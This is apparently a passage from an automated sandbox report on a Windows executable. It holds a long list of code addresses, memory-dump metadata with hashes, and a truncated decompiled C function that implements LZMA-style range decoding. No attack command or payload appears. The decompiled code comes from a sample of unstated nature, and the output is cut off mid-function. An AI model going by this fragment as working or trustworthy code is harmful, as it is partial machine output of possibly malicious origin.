                                                                                                        0x004067fe
                                                                                                        0x00406805
                                                                                                        0x0040680d
                                                                                                        0x00406810
                                                                                                        0x00406813
                                                                                                        0x00406813
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fbe
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x00000000
                                                                                                        0x00405fcf
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fd8
                                                                                                        0x00405fdb
                                                                                                        0x00405fde
                                                                                                        0x00405fe2
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fe8
                                                                                                        0x00405feb
                                                                                                        0x00405fed
                                                                                                        0x00405fee
                                                                                                        0x00405ff1
                                                                                                        0x00405ff3
                                                                                                        0x00405ff4
                                                                                                        0x00405ff6
                                                                                                        0x00405ff9
                                                                                                        0x00405ffe
                                                                                                        0x00406003
                                                                                                        0x0040600c
                                                                                                        0x0040601f
                                                                                                        0x00406022
                                                                                                        0x0040602e
                                                                                                        0x00406056
                                                                                                        0x00406058
                                                                                                        0x00406066
                                                                                                        0x00406066
                                                                                                        0x0040606a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x0040605a
                                                                                                        0x0040605d
                                                                                                        0x0040605e
                                                                                                        0x0040605e
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x00406034
                                                                                                        0x00406039
                                                                                                        0x00406039
                                                                                                        0x00406042
                                                                                                        0x0040604a
                                                                                                        0x0040604d
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406070
                                                                                                        0x00406070
                                                                                                        0x00406074
                                                                                                        0x00406920
                                                                                                        0x00000000
                                                                                                        0x00406920
                                                                                                        0x0040607d
                                                                                                        0x0040608d
                                                                                                        0x00406090
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406096
                                                                                                        0x0040609a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040609c
                                                                                                        0x004060a2
                                                                                                        0x004060cc
                                                                                                        0x004060d2
                                                                                                        0x004060d9
                                                                                                        0x00000000
                                                                                                        0x004060d9
                                                                                                        0x004060a8
                                                                                                        0x004060ab
                                                                                                        0x004060b0
                                                                                                        0x004060b0
                                                                                                        0x004060bb
                                                                                                        0x004060c3
                                                                                                        0x004060c6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040610b
                                                                                                        0x00406111
                                                                                                        0x00406114
                                                                                                        0x00406121
                                                                                                        0x00406129
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004060e0
                                                                                                        0x004060e0
                                                                                                        0x004060e4
                                                                                                        0x0040692f
                                                                                                        0x00000000
                                                                                                        0x0040692f
                                                                                                        0x004060f0
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fe
                                                                                                        0x00406101
                                                                                                        0x00406104
                                                                                                        0x00406109
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406131
                                                                                                        0x00406133
                                                                                                        0x00406136
                                                                                                        0x004061a7
                                                                                                        0x004061aa
                                                                                                        0x004061ad
                                                                                                        0x004061b4
                                                                                                        0x004061be
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00406138
                                                                                                        0x0040613c
                                                                                                        0x0040613f
                                                                                                        0x00406141
                                                                                                        0x00406144
                                                                                                        0x00406147
                                                                                                        0x00406149
                                                                                                        0x0040614c
                                                                                                        0x0040614e
                                                                                                        0x00406153
                                                                                                        0x00406156
                                                                                                        0x00406159
                                                                                                        0x0040615d
                                                                                                        0x00406164
                                                                                                        0x00406167
                                                                                                        0x0040616e
                                                                                                        0x00406172
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x0040617e
                                                                                                        0x00406181
                                                                                                        0x0040619f
                                                                                                        0x004061a1
                                                                                                        0x00000000
                                                                                                        0x00406183
                                                                                                        0x00406183
                                                                                                        0x00406186
                                                                                                        0x00406189
                                                                                                        0x0040618c
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x00406191
                                                                                                        0x00406194
                                                                                                        0x00406196
                                                                                                        0x00406197
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x004063d0
                                                                                                        0x004063d4
                                                                                                        0x004063f2
                                                                                                        0x004063f5
                                                                                                        0x004063fc
                                                                                                        0x004063ff
                                                                                                        0x00406402
                                                                                                        0x00406405
                                                                                                        0x00406408
                                                                                                        0x0040640b
                                                                                                        0x0040640d
                                                                                                        0x00406414
                                                                                                        0x00406415
                                                                                                        0x00406417
                                                                                                        0x0040641a
                                                                                                        0x0040641d
                                                                                                        0x00406420
                                                                                                        0x00406420
                                                                                                        0x00406425
                                                                                                        0x00000000
                                                                                                        0x00406425
                                                                                                        0x004063d6
                                                                                                        0x004063d9
                                                                                                        0x004063dc
                                                                                                        0x004063e6
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040643a
                                                                                                        0x0040643e
                                                                                                        0x00406461
                                                                                                        0x00406464
                                                                                                        0x00406467
                                                                                                        0x00406471
                                                                                                        0x00406440
                                                                                                        0x00406440
                                                                                                        0x00406443
                                                                                                        0x00406446
                                                                                                        0x00406449
                                                                                                        0x00406456
                                                                                                        0x00406459
                                                                                                        0x00406459
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040647d
                                                                                                        0x00406481
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406487
                                                                                                        0x0040648b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406491
                                                                                                        0x00406493
                                                                                                        0x00406497
                                                                                                        0x00406497
                                                                                                        0x0040649a
                                                                                                        0x0040649e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406515
                                                                                                        0x00406519
                                                                                                        0x00406520
                                                                                                        0x00406523
                                                                                                        0x00406526
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x00406529
                                                                                                        0x0040652c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004065d5
                                                                                                        0x004065d5
                                                                                                        0x004065d9
                                                                                                        0x00406977
                                                                                                        0x00000000
                                                                                                        0x00406977
                                                                                                        0x004065df
                                                                                                        0x004065e2
                                                                                                        0x004065e5
                                                                                                        0x004065e9
                                                                                                        0x004065ec
                                                                                                        0x004065f2
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f7
                                                                                                        0x004065fa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061ca
                                                                                                        0x004061ca
                                                                                                        0x004061ce
                                                                                                        0x0040693b
                                                                                                        0x00000000
                                                                                                        0x0040693b
                                                                                                        0x004061d4
                                                                                                        0x004061d7
                                                                                                        0x004061da
                                                                                                        0x004061de
                                                                                                        0x004061e1
                                                                                                        0x004061e7
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061ec
                                                                                                        0x004061ef
                                                                                                        0x004061ef
                                                                                                        0x004061f2
                                                                                                        0x004061f5
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061fb
                                                                                                        0x00406201
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406207
                                                                                                        0x00406207
                                                                                                        0x0040620b
                                                                                                        0x0040620e
                                                                                                        0x00406211
                                                                                                        0x00406214
                                                                                                        0x00406217
                                                                                                        0x00406218
                                                                                                        0x0040621b
                                                                                                        0x0040621d
                                                                                                        0x00406223
                                                                                                        0x00406226
                                                                                                        0x00406229
                                                                                                        0x0040622c
                                                                                                        0x0040622f
                                                                                                        0x00406232
                                                                                                        0x00406235
                                                                                                        0x00406251
                                                                                                        0x00406254
                                                                                                        0x00406257
                                                                                                        0x0040625a
                                                                                                        0x00406261
                                                                                                        0x00406265
                                                                                                        0x00406267
                                                                                                        0x0040626b
                                                                                                        0x00406237
                                                                                                        0x00406237
                                                                                                        0x0040623b
                                                                                                        0x00406243
                                                                                                        0x00406248
                                                                                                        0x0040624a
                                                                                                        0x0040624c
                                                                                                        0x0040624c
                                                                                                        0x0040626e
                                                                                                        0x00406275
                                                                                                        0x00406278
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x00406283
                                                                                                        0x00406283
                                                                                                        0x00406287
                                                                                                        0x00406947
                                                                                                        0x00000000
                                                                                                        0x00406947
                                                                                                        0x0040628d
                                                                                                        0x00406290
                                                                                                        0x00406293
                                                                                                        0x00406297
                                                                                                        0x0040629a
                                                                                                        0x004062a0
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a5
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062ae
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004062b0
                                                                                                        0x004062b3
                                                                                                        0x004062b6
                                                                                                        0x004062b9
                                                                                                        0x004062bc
                                                                                                        0x004062bf
                                                                                                        0x004062c2
                                                                                                        0x004062c5
                                                                                                        0x004062c8
                                                                                                        0x004062cb
                                                                                                        0x004062ce
                                                                                                        0x004062e6
                                                                                                        0x004062e9
                                                                                                        0x004062ec
                                                                                                        0x004062ef
                                                                                                        0x004062ef
                                                                                                        0x004062f2
                                                                                                        0x004062f6
                                                                                                        0x004062f8
                                                                                                        0x004062d0
                                                                                                        0x004062d0
                                                                                                        0x004062d8
                                                                                                        0x004062dd
                                                                                                        0x004062df
                                                                                                        0x004062e1
                                                                                                        0x004062e1
                                                                                                        0x004062fb
                                                                                                        0x00406302
                                                                                                        0x00406305
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00406305
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406347
                                                                                                        0x00406347
                                                                                                        0x0040634b
                                                                                                        0x00406953
                                                                                                        0x00000000
                                                                                                        0x00406953
                                                                                                        0x00406351
                                                                                                        0x00406354
                                                                                                        0x00406357
                                                                                                        0x0040635b
                                                                                                        0x0040635e
                                                                                                        0x00406364
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406369
                                                                                                        0x0040636c
                                                                                                        0x0040636c
                                                                                                        0x00406372
                                                                                                        0x00406310
                                                                                                        0x00406310
                                                                                                        0x00406313
                                                                                                        0x00000000
                                                                                                        0x00406313
                                                                                                        0x00406374
                                                                                                        0x00406374
                                                                                                        0x00406377
                                                                                                        0x0040637a
                                                                                                        0x0040637d
                                                                                                        0x00406380
                                                                                                        0x00406383
                                                                                                        0x00406386
                                                                                                        0x00406389
                                                                                                        0x0040638c
                                                                                                        0x0040638f
                                                                                                        0x00406392
                                                                                                        0x004063aa
                                                                                                        0x004063ad
                                                                                                        0x004063b0
                                                                                                        0x004063b3
                                                                                                        0x004063b3
                                                                                                        0x004063b6
                                                                                                        0x004063ba
                                                                                                        0x004063bc
                                                                                                        0x00406394
                                                                                                        0x00406394
                                                                                                        0x0040639c
                                                                                                        0x004063a1
                                                                                                        0x004063a3
                                                                                                        0x004063a5
                                                                                                        0x004063a5
                                                                                                        0x004063bf
                                                                                                        0x004063c6
                                                                                                        0x004063c9
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x00406658
                                                                                                        0x00406658
                                                                                                        0x0040665c
                                                                                                        0x00406983
                                                                                                        0x00000000
                                                                                                        0x00406983
                                                                                                        0x00406662
                                                                                                        0x00406665
                                                                                                        0x00406668
                                                                                                        0x0040666c
                                                                                                        0x0040666f
                                                                                                        0x00406675
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x0040667a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406767
                                                                                                        0x0040676b
                                                                                                        0x0040678d
                                                                                                        0x00406790
                                                                                                        0x0040679a
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040676d
                                                                                                        0x00406770
                                                                                                        0x00406774
                                                                                                        0x00406777
                                                                                                        0x00406777
                                                                                                        0x0040677a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406824
                                                                                                        0x00406828
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x0040684d
                                                                                                        0x00406854
                                                                                                        0x0040685b
                                                                                                        0x0040685b
                                                                                                        0x00000000
                                                                                                        0x0040685b
                                                                                                        0x0040682a
                                                                                                        0x0040682d
                                                                                                        0x00406830
                                                                                                        0x00406833
                                                                                                        0x0040683a
                                                                                                        0x0040677e
                                                                                                        0x0040677e
                                                                                                        0x00406781
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406915
                                                                                                        0x00406918
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040654f
                                                                                                        0x00406551
                                                                                                        0x00406558
                                                                                                        0x00406559
                                                                                                        0x0040655b
                                                                                                        0x0040655e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406566
                                                                                                        0x00406569
                                                                                                        0x0040656c
                                                                                                        0x0040656e
                                                                                                        0x00406570
                                                                                                        0x00406570
                                                                                                        0x00406571
                                                                                                        0x00406574
                                                                                                        0x0040657b
                                                                                                        0x0040657e
                                                                                                        0x0040658c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406862
                                                                                                        0x00406862
                                                                                                        0x00406865
                                                                                                        0x0040686c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406871
                                                                                                        0x00406871
                                                                                                        0x00406875
                                                                                                        0x004069ad
                                                                                                        0x00000000
                                                                                                        0x004069ad
                                                                                                        0x0040687b
                                                                                                        0x0040687e
                                                                                                        0x00406881
                                                                                                        0x00406885
                                                                                                        0x00406888
                                                                                                        0x0040688e
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406893
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406899
                                                                                                        0x00406899
                                                                                                        0x0040689d
                                                                                                        0x004068fd
                                                                                                        0x00406900
                                                                                                        0x00406905
                                                                                                        0x00406906
                                                                                                        0x00406908
                                                                                                        0x0040690a
                                                                                                        0x0040690d
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x0040681f
                                                                                                        0x00406819
                                                                                                        0x0040689f
                                                                                                        0x004068a5
                                                                                                        0x004068a8
                                                                                                        0x004068ab
                                                                                                        0x004068ae
                                                                                                        0x004068b1
                                                                                                        0x004068b4
                                                                                                        0x004068b7
                                                                                                        0x004068ba
                                                                                                        0x004068bd
                                                                                                        0x004068c0
                                                                                                        0x004068d9
                                                                                                        0x004068dc
                                                                                                        0x004068df
                                                                                                        0x004068e2
                                                                                                        0x004068e6
                                                                                                        0x004068e8
                                                                                                        0x004068e8
                                                                                                        0x004068e9
                                                                                                        0x004068ec
                                                                                                        0x004068c2
                                                                                                        0x004068c2
                                                                                                        0x004068ca
                                                                                                        0x004068cf
                                                                                                        0x004068d1
                                                                                                        0x004068d4
                                                                                                        0x004068d4
                                                                                                        0x004068ef
                                                                                                        0x004068f6
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x00406594
                                                                                                        0x00406597
                                                                                                        0x004065cd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x00406700
                                                                                                        0x00406700
                                                                                                        0x00406703
                                                                                                        0x00406705
                                                                                                        0x0040698f
                                                                                                        0x00000000
                                                                                                        0x0040698f
                                                                                                        0x0040670b
                                                                                                        0x0040670e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406714
                                                                                                        0x00406718
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x00000000
                                                                                                        0x0040671b
                                                                                                        0x00406599
                                                                                                        0x0040659b
                                                                                                        0x0040659d
                                                                                                        0x0040659f
                                                                                                        0x004065a2
                                                                                                        0x004065a3
                                                                                                        0x004065a5
                                                                                                        0x004065a7
                                                                                                        0x004065aa
                                                                                                        0x004065ad
                                                                                                        0x004065c3
                                                                                                        0x004065c8
                                                                                                        0x00406600
                                                                                                        0x00406600
                                                                                                        0x00406604
                                                                                                        0x00406630
                                                                                                        0x00406632
                                                                                                        0x00406639
                                                                                                        0x0040663c
                                                                                                        0x0040663f
                                                                                                        0x0040663f
                                                                                                        0x00406644
                                                                                                        0x00406644
                                                                                                        0x00406646
                                                                                                        0x00406649
                                                                                                        0x00406650
                                                                                                        0x00406653
                                                                                                        0x00406680
                                                                                                        0x00406680
                                                                                                        0x00406683
                                                                                                        0x00406686
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x00000000
                                                                                                        0x004066fa
                                                                                                        0x00406688
                                                                                                        0x0040668e
                                                                                                        0x00406691
                                                                                                        0x00406694
                                                                                                        0x00406697
                                                                                                        0x0040669a
                                                                                                        0x0040669d
                                                                                                        0x004066a0
                                                                                                        0x004066a3
                                                                                                        0x004066a6
                                                                                                        0x004066a9
                                                                                                        0x004066c2
                                                                                                        0x004066c4
                                                                                                        0x004066c7
                                                                                                        0x004066c8
                                                                                                        0x004066cb
                                                                                                        0x004066cd
                                                                                                        0x004066d0
                                                                                                        0x004066d2
                                                                                                        0x004066d4
                                                                                                        0x004066d7
                                                                                                        0x004066d9
                                                                                                        0x004066dc
                                                                                                        0x004066e0
                                                                                                        0x004066e2
                                                                                                        0x004066e2
                                                                                                        0x004066e3
                                                                                                        0x004066e6
                                                                                                        0x004066e9
                                                                                                        0x004066ab
                                                                                                        0x004066ab
                                                                                                        0x004066b3
                                                                                                        0x004066b8
                                                                                                        0x004066ba
                                                                                                        0x004066bd
                                                                                                        0x004066bd
                                                                                                        0x004066ec
                                                                                                        0x004066f3
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f3
                                                                                                        0x00406606
                                                                                                        0x00406609
                                                                                                        0x0040660b
                                                                                                        0x0040660e
                                                                                                        0x00406611
                                                                                                        0x00406614
                                                                                                        0x00406616
                                                                                                        0x00406619
                                                                                                        0x0040661c
                                                                                                        0x0040661c
                                                                                                        0x0040661f
                                                                                                        0x0040661f
                                                                                                        0x00406622
                                                                                                        0x00406629
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00406629
                                                                                                        0x004065af
                                                                                                        0x004065b2
                                                                                                        0x004065b4
                                                                                                        0x004065b7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406316
                                                                                                        0x00406316
                                                                                                        0x0040631a
                                                                                                        0x0040695f
                                                                                                        0x00000000
                                                                                                        0x0040695f
                                                                                                        0x00406320
                                                                                                        0x00406323
                                                                                                        0x00406326
                                                                                                        0x00406329
                                                                                                        0x0040632c
                                                                                                        0x0040632f
                                                                                                        0x00406332
                                                                                                        0x00406334
                                                                                                        0x00406337
                                                                                                        0x0040633a
                                                                                                        0x0040633d
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064a1
                                                                                                        0x004064a1
                                                                                                        0x004064a5
                                                                                                        0x0040696b
                                                                                                        0x00000000
                                                                                                        0x0040696b
                                                                                                        0x004064ab
                                                                                                        0x004064ae
                                                                                                        0x004064b1
                                                                                                        0x004064b4
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b9
                                                                                                        0x004064bc
                                                                                                        0x004064bf
                                                                                                        0x004064c2
                                                                                                        0x004064c5
                                                                                                        0x004064c8
                                                                                                        0x004064c9
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064ce
                                                                                                        0x004064d1
                                                                                                        0x004064d4
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064da
                                                                                                        0x004064dc
                                                                                                        0x004064dc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x00406722
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406728
                                                                                                        0x0040672b
                                                                                                        0x0040672e
                                                                                                        0x00406731
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406736
                                                                                                        0x00406739
                                                                                                        0x0040673c
                                                                                                        0x0040673f
                                                                                                        0x00406742
                                                                                                        0x00406745
                                                                                                        0x00406746
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x0040674b
                                                                                                        0x0040674e
                                                                                                        0x00406751
                                                                                                        0x00406754
                                                                                                        0x00406757
                                                                                                        0x0040675b
                                                                                                        0x0040675d
                                                                                                        0x00406760
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x00000000
                                                                                                        0x004064df
                                                                                                        0x00406760
                                                                                                        0x00406995
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x004069cc
                                                                                                        0x004069cc
                                                                                                        0x00000000
                                                                                                        0x004069cc
                                                                                                        0x00406819
                                                                                                        0x004067a0
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x004064f2

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
                                                                                                        • Instruction ID: 067b91939e33353516387f96afd3df60e22fb0a2a23546be1218d687de4ca84d
                                                                                                        • Opcode Fuzzy Hash: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
                                                                                                        • Instruction Fuzzy Hash: 14715371E00229CFEF28CF98C844BADBBB1FB44305F15816AD816BB281C7799996DF54
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 98%
                                                                                                        			E0040643A() {
                                                                                                        				unsigned short _t531;
                                                                                                        				signed int _t532;
                                                                                                        				void _t533;
                                                                                                        				signed int _t534;
                                                                                                        				signed int _t535;
                                                                                                        				signed int _t565;
                                                                                                        				signed int _t568;
                                                                                                        				signed int _t589;
                                                                                                        				signed int* _t606;
                                                                                                        				void* _t613;
                                                                                                        
                                                                                                        				L0:
                                                                                                        				while(1) {
                                                                                                        					L0:
                                                                                                        					if( *(_t613 - 0x40) != 0) {
                                                                                                        						 *(_t613 - 0x84) = 0xa;
                                                                                                        						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
                                                                                                        					} else {
                                                                                                        						 *(__ebp - 0x84) = 9;
                                                                                                        						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                                        					}
                                                                                                        					while(1) {
                                                                                                        						 *(_t613 - 0x54) = _t606;
                                                                                                        						while(1) {
                                                                                                        							L133:
                                                                                                        							_t531 =  *_t606;
                                                                                                        							_t589 = _t531 & 0x0000ffff;
                                                                                                        							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                                        							if( *(_t613 - 0xc) >= _t565) {
                                                                                                        								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                                        								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                                        								 *(_t613 - 0x40) = 1;
                                                                                                        								_t532 = _t531 - (_t531 >> 5);
                                                                                                        								 *_t606 = _t532;
                                                                                                        							} else {
                                                                                                        								 *(_t613 - 0x10) = _t565;
                                                                                                        								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                                        								 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                                                                        							}
                                                                                                        							if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                                        								goto L139;
                                                                                                        							}
                                                                                                        							L137:
                                                                                                        							if( *(_t613 - 0x6c) == 0) {
                                                                                                        								 *(_t613 - 0x88) = 5;
                                                                                                        								L170:
                                                                                                        								_t568 = 0x22;
                                                                                                        								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                                                                        								_t535 = 0;
                                                                                                        								L172:
                                                                                                        								return _t535;
                                                                                                        							}
                                                                                                        							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                                                                        							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                                        							L139:
                                                                                                        							_t533 =  *(_t613 - 0x84);
                                                                                                        							while(1) {
                                                                                                        								 *(_t613 - 0x88) = _t533;
                                                                                                        								while(1) {
                                                                                                        									L1:
                                                                                                        									_t534 =  *(_t613 - 0x88);
                                                                                                        									if(_t534 > 0x1c) {
                                                                                                        										break;
                                                                                                        									}
                                                                                                        									switch( *((intOrPtr*)(_t534 * 4 +  &M004069D4))) {
                                                                                                        										case 0:
                                                                                                        											if( *(_t613 - 0x6c) == 0) {
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        											_t534 =  *( *(_t613 - 0x70));
                                                                                                        											if(_t534 > 0xe1) {
                                                                                                        												goto L171;
                                                                                                        											}
                                                                                                        											_t538 = _t534 & 0x000000ff;
                                                                                                        											_push(0x2d);
                                                                                                        											asm("cdq");
                                                                                                        											_pop(_t570);
                                                                                                        											_push(9);
                                                                                                        											_pop(_t571);
                                                                                                        											_t609 = _t538 / _t570;
                                                                                                        											_t540 = _t538 % _t570 & 0x000000ff;
